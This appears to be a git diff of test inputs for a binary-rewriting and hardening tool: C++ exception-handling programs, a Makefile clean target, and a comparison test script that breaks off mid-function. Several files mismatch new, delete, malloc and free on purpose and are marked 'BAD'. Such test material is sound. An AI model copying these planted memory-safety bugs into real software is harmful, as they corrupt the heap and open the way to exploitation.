+		exit -1;\
+ 	elif [ "X${STRATA_HOME}" = "X" ]; then \
+		echo STRATA_HOME environment variable should be set.; \
+		exit -1;\
+	fi ; 
+
+
+clean:
+	rm -f *.o *.syms *.map chopzero hanoi hanoi_overrun hanoi_heap_overrun malloc block_copy print_ptr hanoi_stack_overrun dumbledore a.out memcpy hanoi_overrun_taintedenv dumbledore_cmd hanoi_overrun_tainted hello cmd_args_005
+	rm -f *.stock *.dis *.data *.idb *.log *.ncexe *.annot *.readelf temp.* *.temp *.stratafied *.asm *.SMPobjdump *.id0 *.id1 *.til *.nam *.zipr
+	rm -Rf concolic.files_*
+	rm -Rf peasoup_executable_directory.*
+	rm -f strata.log.*
+	rm -f *.sym
+	if [ ! "X" = "X"${PGUSER} ]; then sh ../tools/db/drop_my_tables.sh; sh ../tools/db/pdb_setup.sh; fi
+
+concclean:
+	rm -Rf concolic.files_*
+	rm strata.log.*
diff --git a/peasoup_examples/cpp-examples/derived2_throw.cpp b/peasoup_examples/cpp-examples/derived2_throw.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..09d62519085c0f6f0765c2fd80a2abcaec57282a
--- /dev/null
+++ b/peasoup_examples/cpp-examples/derived2_throw.cpp
@@ -0,0 +1,53 @@
+
+#include <iostream>
+#include <stdlib.h>
+using namespace std;
+
+class Base
+{
+	public:
+		Base() : a(3) { } 
+
+	int a;
+};
+
+class Derived : public Base
+{
+	public:
+	Derived() { a=4;} 
+};
+
+int bar()
+{
+	if(getenv("THROW_CHAR")!=NULL)
+		throw Base();
+	else if(getenv("THROW_INT")!=NULL)
+		throw Derived();
+	else if(getenv("THROW_FLOAT")!=NULL)
+		throw float(3.14);
+	else 
+		return 0;
+}
+
+main()
+{
+
+	try	
+	{
+		int res= bar();
+		cout<<"No Throw!"<<endl;
+		return res;
+	}
+	catch(Derived s)
+	{
+		cout<<"main caught Derived with val=" << s.a << endl;
+	}
+	catch(...)
+	{
+		cout<<"main caught unnamed"<<endl;
+	}
+
+	return 1;
+
+}
+
diff --git a/peasoup_examples/cpp-examples/derived3_throw.cpp b/peasoup_examples/cpp-examples/derived3_throw.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..fde802cd207bcb87a4dcd4c18b0c15968796a4a4
--- /dev/null
+++ b/peasoup_examples/cpp-examples/derived3_throw.cpp
@@ -0,0 +1,57 @@
+
+#include <iostream>
+#include <stdlib.h>
+using namespace std;
+
+class Base
+{
+	public:
+		Base() : a(3) { } 
+
+	int a;
+};
+
+class Derived : public Base
+{
+	public:
+	Derived() { a=4;} 
+};
+
+int bar()
+{
+	if(getenv("THROW_CHAR")!=NULL)
+		throw Base();
+	else if(getenv("THROW_INT")!=NULL)
+		throw Derived();
+	else if(getenv("THROW_FLOAT")!=NULL)
+		throw float(3.14);
+	else 
+		return 0;
+}
+
+main()
+{
+
+	try	
+	{
+		int res= bar();
+		cout<<"No Throw!"<<endl;
+		return res;
+	}
+	catch(Base s)
+	{
+		cout<<"main caught Base with val=" << s.a << endl;
+	}
+	catch(Derived s)
+	{
+		cout<<"main caught Derived with val=" << s.a << endl;
+	}
+	catch(...)
+	{
+		cout<<"main caught unnamed"<<endl;
+	}
+
+	return 1;
+
+}
+
diff --git a/peasoup_examples/cpp-examples/derived4_throw.cpp b/peasoup_examples/cpp-examples/derived4_throw.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..327adc94cb4961d9278613d290b28cf715ff3b40
--- /dev/null
+++ b/peasoup_examples/cpp-examples/derived4_throw.cpp
@@ -0,0 +1,57 @@
+
+#include <iostream>
+#include <stdlib.h>
+using namespace std;
+
+class Base
+{
+	public:
+		Base() : a(3) { } 
+
+	int a;
+};
+
+class Derived : public Base
+{
+	public:
+	Derived() { a=4;} 
+};
+
+int bar()
+{
+	if(getenv("THROW_CHAR")!=NULL)
+		throw Base();
+	else if(getenv("THROW_INT")!=NULL)
+		throw Derived();
+	else if(getenv("THROW_FLOAT")!=NULL)
+		throw float(3.14);
+	else 
+		return 0;
+}
+
+main()
+{
+
+	try	
+	{
+		int res= bar();
+		cout<<"No Throw!"<<endl;
+		return res;
+	}
+	catch(Derived s)
+	{
+		cout<<"main caught Derived with val=" << s.a << endl;
+	}
+	catch(Base s)
+	{
+		cout<<"main caught Base with val=" << s.a << endl;
+	}
+	catch(...)
+	{
+		cout<<"main caught unnamed"<<endl;
+	}
+
+	return 1;
+
+}
+
diff --git a/peasoup_examples/cpp-examples/derived_throw.cpp b/peasoup_examples/cpp-examples/derived_throw.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..33ecb9ee548c0252d5697c998026e34ae57fef34
--- /dev/null
+++ b/peasoup_examples/cpp-examples/derived_throw.cpp
@@ -0,0 +1,53 @@
+
+#include <iostream>
+#include <stdlib.h>
+using namespace std;
+
+class Base
+{
+	public:
+		Base() : a(3) { } 
+
+	int a;
+};
+
+class Derived : public Base
+{
+	public:
+	Derived() { a=4;} 
+};
+
+int bar()
+{
+	if(getenv("THROW_CHAR")!=NULL)
+		throw Base();
+	else if(getenv("THROW_INT")!=NULL)
+		throw Derived();
+	else if(getenv("THROW_FLOAT")!=NULL)
+		throw float(3.14);
+	else 
+		return 0;
+}
+
+main()
+{
+
+	try	
+	{
+		int res= bar();
+		cout<<"No Throw!"<<endl;
+		return res;
+	}
+	catch(Base s)
+	{
+		cout<<"main caught Base with val=" << s.a << endl;
+	}
+	catch(...)
+	{
+		cout<<"main caught unnamed"<<endl;
+	}
+
+	return 1;
+
+}
+
diff --git a/peasoup_examples/cpp-examples/dynamic_exception.cpp b/peasoup_examples/cpp-examples/dynamic_exception.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..5f386a2fda27b713d1466d4cac73f0468a56a017
--- /dev/null
+++ b/peasoup_examples/cpp-examples/dynamic_exception.cpp
@@ -0,0 +1,42 @@
+#include <iostream>
+#include <exception>
+#include <cstdlib>
+
+using namespace std;
+ 
+class X {};
+class Y {};
+class Z : public X {};
+class W {};
+ 
+void f() throw(X, Y) 
+{
+    	const auto env=getenv("THROW_TYPE");
+	if(env==NULL)
+		return;
+    	const int n = atoi(env);
+    	if (n==0) throw X(); // OK
+    	if (n==1) throw Z(); // also OK
+    	if (n==2) throw Y(); // also OK
+    	throw W(); // will call std::unexpected()
+}
+ 
+int main() {
+	std::set_unexpected([]{
+		std::cout << "That was unexpected" << std::endl; // flush needed
+		std::abort();
+	});
+
+	try{
+  		f();
+		cout<<"No catch"<<endl;
+	}
+	catch(X x)
+	{
+		cout<<"Caught X (or maybe Z)"<<endl;
+	}
+	catch(Y Y)
+	{
+		cout<<"Caught Y"<<endl;
+	}
+}
diff --git a/peasoup_examples/cpp-examples/hanoi++.cpp b/peasoup_examples/cpp-examples/hanoi++.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..1eb2beb446874edd9df27160a60c64bcb25f5fd1
--- /dev/null
+++ b/peasoup_examples/cpp-examples/hanoi++.cpp
@@ -0,0 +1,60 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, p_using, to); 
+		dohanoi(N-1, p_using, to, from); 
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdel.cpp b/peasoup_examples/cpp-examples/newdel.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..06a73a1408802d9ba02dad5e20f077ba337ce860
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdel.cpp
@@ -0,0 +1,78 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+class foo
+{
+	public: 
+
+		foo() {}
+		virtual ~foo() {} 
+
+	private:
+
+		string data;
+};
+
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		char *allocp2=new char;
+		foo *allocp=new foo;
+		dohanoi(N-1, from, p_using, to); 
+		delete allocp;
+		dohanoi(N-1, p_using, to, from); 
+		delete allocp2;
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdel_broke1.cpp b/peasoup_examples/cpp-examples/newdel_broke1.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..3d616a0a59e543f81ab145ac19ea936882570ec6
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdel_broke1.cpp
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+class foo
+{
+	public: 
+
+		foo() { cout<<"Constructing a foo\n"; }
+		virtual ~foo() { cout<<"Destructing a foo\n"; } 
+
+	private:
+
+		string data;
+};
+
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		foo *allocp=new foo;
+		dohanoi(N-1, from, p_using, to); 
+		dohanoi(N-1, p_using, to, from); 
+		delete [] allocp;
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdel_broke2.cpp b/peasoup_examples/cpp-examples/newdel_broke2.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..908cb4633b75998056b4487938591138fd90f76f
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdel_broke2.cpp
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+class foo
+{
+	public: 
+
+		foo() { cout<<"Constructing a foo"<<endl;}
+		virtual ~foo() { cout<<"Destructing a foo"<<endl;} 
+
+	private:
+
+		string data;
+};
+
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		foo *allocp=new foo [2];
+		dohanoi(N-1, from, p_using, to); 
+		dohanoi(N-1, p_using, to, from); 
+		delete allocp;
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdel_broke3.cpp b/peasoup_examples/cpp-examples/newdel_broke3.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..4e1cb6626b556ed5536bf51da4fa675bd5d7c883
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdel_broke3.cpp
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+class foo
+{
+	public: 
+
+		foo() { cout<<"Constructing a foo\n"; }
+		virtual ~foo() { cout<<"Destructing a foo\n"; } 
+
+	private:
+
+		string data;
+};
+
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		foo *allocp=new foo;
+		dohanoi(N-1, from, p_using, to); 
+		dohanoi(N-1, p_using, to, from); 
+		free(allocp);
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdel_broke4.cpp b/peasoup_examples/cpp-examples/newdel_broke4.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..6e55a261ced1daddae961de4fcbf97ae3e8926ed
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdel_broke4.cpp
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+class foo
+{
+	public: 
+
+		foo() { cout<<"Constructing a foo\n"; }
+		virtual ~foo() { cout<<"Destructing a foo\n"; } 
+
+	private:
+
+		string data;
+};
+
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		foo *allocp=new foo [2];
+		dohanoi(N-1, from, p_using, to); 
+		dohanoi(N-1, p_using, to, from); 
+		free(allocp);
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdel_broke5.cpp b/peasoup_examples/cpp-examples/newdel_broke5.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..ddaadbc9d46fe5dc90913f5333ac6ec08f0f76f1
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdel_broke5.cpp
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+class foo
+{
+	public: 
+
+		foo() { cout<<"Constructing a foo\n"; }
+		virtual ~foo() { cout<<"Destructing a foo\n"; } 
+
+	private:
+
+		string data;
+};
+
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		foo *allocp=(foo*)malloc(sizeof(foo));
+		dohanoi(N-1, from, p_using, to); 
+		dohanoi(N-1, p_using, to, from); 
+		free(allocp);
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdel_broke6.cpp b/peasoup_examples/cpp-examples/newdel_broke6.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..c7337a32aec20defdd5dc2981d79e66686e645a8
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdel_broke6.cpp
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+class foo
+{
+	public: 
+
+		foo() { cout<<"Constructing a foo\n"; }
+		virtual ~foo() { cout<<"Destructing a foo\n"; } 
+
+	private:
+
+		string data;
+};
+
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		foo *allocp=(foo*)malloc(sizeof(foo));
+		dohanoi(N-1, from, p_using, to); 
+		dohanoi(N-1, p_using, to, from); 
+		delete allocp;
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdel_broke7.cpp b/peasoup_examples/cpp-examples/newdel_broke7.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..a6b5f9c1c710f659f3511823b602a5780221c52e
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdel_broke7.cpp
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+#include <iostream>
+
+using namespace std;
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+class foo
+{
+	public: 
+
+		foo() { cout<<"Constructing a foo\n"; }
+		virtual ~foo() { cout<<"Destructing a foo\n"; } 
+
+	private:
+
+		string data;
+};
+
+
+void dohanoi(int N, int from, int to, int p_using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		foo *allocp=(foo*)malloc(sizeof(foo));
+		dohanoi(N-1, from, p_using, to); 
+		dohanoi(N-1, p_using, to, from); 
+		delete [] allocp;
+	} 
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		cerr<< "usage: " << argv[0] << " N"<<endl ; exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	cerr <<  "illegal value for number of disks"<<endl;
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		cout << "Hanoi " << i << " ... " << endl;
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		cout << "Hanoi " << i << endl;
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/cpp-examples/newdelete1.cpp b/peasoup_examples/cpp-examples/newdelete1.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..90c92d08c8001517d5a798cbb0406ae0c9800026
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdelete1.cpp
@@ -0,0 +1,10 @@
+int main() {
+  int *x;
+  x = new int[1];
+  delete[] x; /* OK */
+  
+  x = new int[1];
+  delete x; /* BAD */
+  
+  return 0;
+}
diff --git a/peasoup_examples/cpp-examples/newdelete2.cpp b/peasoup_examples/cpp-examples/newdelete2.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..41b0b0f903f93c97c9cb9520a45a3ede32a72846
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdelete2.cpp
@@ -0,0 +1,9 @@
+int main() {
+  int *x;
+  x = new int;
+  delete x; /* OK */
+  
+  x = new int;
+  delete[] x; /* BAD */
+  return 0;
+}
diff --git a/peasoup_examples/cpp-examples/newdelete3.cpp b/peasoup_examples/cpp-examples/newdelete3.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..f66af3bdee30a3646227395b81194d8a449de9f7
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdelete3.cpp
@@ -0,0 +1,12 @@
+#include <cstdlib>
+
+int main() {
+  int *x;
+  x = new int[1];
+  delete[] x; /* OK */
+  
+  x = new int[1];
+  free(x); /* BAD */
+
+  return 0;
+}
diff --git a/peasoup_examples/cpp-examples/newdelete4.cpp b/peasoup_examples/cpp-examples/newdelete4.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..c6049e29ea5afeda3ca53b5475232581109f59c2
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdelete4.cpp
@@ -0,0 +1,12 @@
+#include <cstdlib>
+
+int main() {
+  int *x;
+  x = new int;
+  delete x; /* OK */
+  
+  x = new int;
+  free(x); /* BAD */
+
+  return 0;
+}
diff --git a/peasoup_examples/cpp-examples/newdelete5.cpp b/peasoup_examples/cpp-examples/newdelete5.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..fd3e4dd8794693b819e2558626ae66de7942128e
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdelete5.cpp
@@ -0,0 +1,12 @@
+#include <cstdlib>
+
+int main() {
+  int *x;
+  x = (int *) malloc(sizeof *x);
+  free(x); /* OK */
+  
+  x = (int*) malloc(sizeof *x);
+  delete x; /* BAD */
+
+  return 0;
+}
diff --git a/peasoup_examples/cpp-examples/newdelete6.cpp b/peasoup_examples/cpp-examples/newdelete6.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..bd60412e30f6ccbb96f9eaafc801f6df3201d1f4
--- /dev/null
+++ b/peasoup_examples/cpp-examples/newdelete6.cpp
@@ -0,0 +1,11 @@
+#include <cstdlib>
+
+int main() {
+  int *x;
+  x = (int *) malloc(sizeof *x);
+  free(x); /* OK */
+  
+  x = (int *) malloc(sizeof *x);
+  delete[] x; /* BAD */
+  return 0;
+}
diff --git a/peasoup_examples/cpp-examples/simple_throw.cpp b/peasoup_examples/cpp-examples/simple_throw.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..1065c02293374e7b0f8715e5cbc777b829f27e82
--- /dev/null
+++ b/peasoup_examples/cpp-examples/simple_throw.cpp
@@ -0,0 +1,53 @@
+
+#include <iostream>
+#include <stdlib.h>
+using namespace std;
+
+int bar()
+{
+	if(getenv("THROW_CHAR")!=NULL)
+		throw char(4);
+	else if(getenv("THROW_INT")!=NULL)
+		throw int(3);
+	else if(getenv("THROW_FLOAT")!=NULL)
+		throw float(3.14);
+	else 
+		return 0;
+}
+
+int foo()
+{
+	int ret=0;
+	try 
+	{
+		ret=bar();
+	}
+	catch(char c)
+	{
+		cout<<"foo caught char:" << +c << endl;
+		return c;
+	}
+	cout<<"No throw!"<<endl;
+	return ret;
+
+}
+main()
+{
+
+	try	
+	{
+		return foo();
+	}
+	catch(int s)
+	{
+		cout<<"main caught int:" << s << endl;
+	}
+	catch(...)
+	{
+		cout<<"main caught unnamed"<<endl;
+	}
+
+	return 1;
+
+}
+
diff --git a/peasoup_examples/cpp-examples/test_quick.sh b/peasoup_examples/cpp-examples/test_quick.sh
new file mode 100755
index 0000000000000000000000000000000000000000..6b165884aa85c06338a97527e18873c8de28e280
--- /dev/null
+++ b/peasoup_examples/cpp-examples/test_quick.sh
@@ -0,0 +1,91 @@
+#!/bin/bash
+
+throws="THROW_INT THROW_CHAR THROW_FLOAT"
+
+#---------------
+
+compare()
+{
+
+	rm -f good.txt xform.txt 
+
+	env $1 ./a.out > good.txt 2>&1 
+	exit1=$?
+	env $1 ./xxx > xform.txt 2>&1 
+	exit2=$?
+
+	cmp good.txt xform.txt > /dev/null 2>&1
+
+	if [[ $? != 0 ]] || [[ $exit1 != $exit2 ]]; then
+		echo "Failed test: $1"; 
+		diff good.txt xform.txt
+		exit 2
+	fi
+}
+
+doit()
+{
+	src=$1
+	options="$2"
+	psopts="$3"
+
+	echo  "------------------------------------------------------"
+	echo "Trying $src with options: $options"
+	echo "And psflags=$psopts "
+	g++ -w $options $src 
+	rm -Rf peasoup_executable_direc* xxx
+	(set -x ; $PSZ ./a.out ./xxx --step-option fill_in_indtargs:--split-eh-frame --step-option zipr:'--add-sections true' 	$psopts)
+
+	compare
+
+	for throw in $throws
+	do
+		compare $throw=1	
+	done
+	echo "Passed test!"
+	echo  "------------------------------------------------------"
+}
+
+
+doit_meta()
+{
+	src=$1
+	option="$2"
+	psopts="$3"
+
+	doit $src "$option  " "$psopts"
+	doit $src "$option -fPIC -fomit-frame-pointer -pie" "$psopts"
+}
+
+main()
+{
+	local rida_flags="-c rida=on -s meds_static=off "
+	local ss_flags="-c stack_stamp=on"
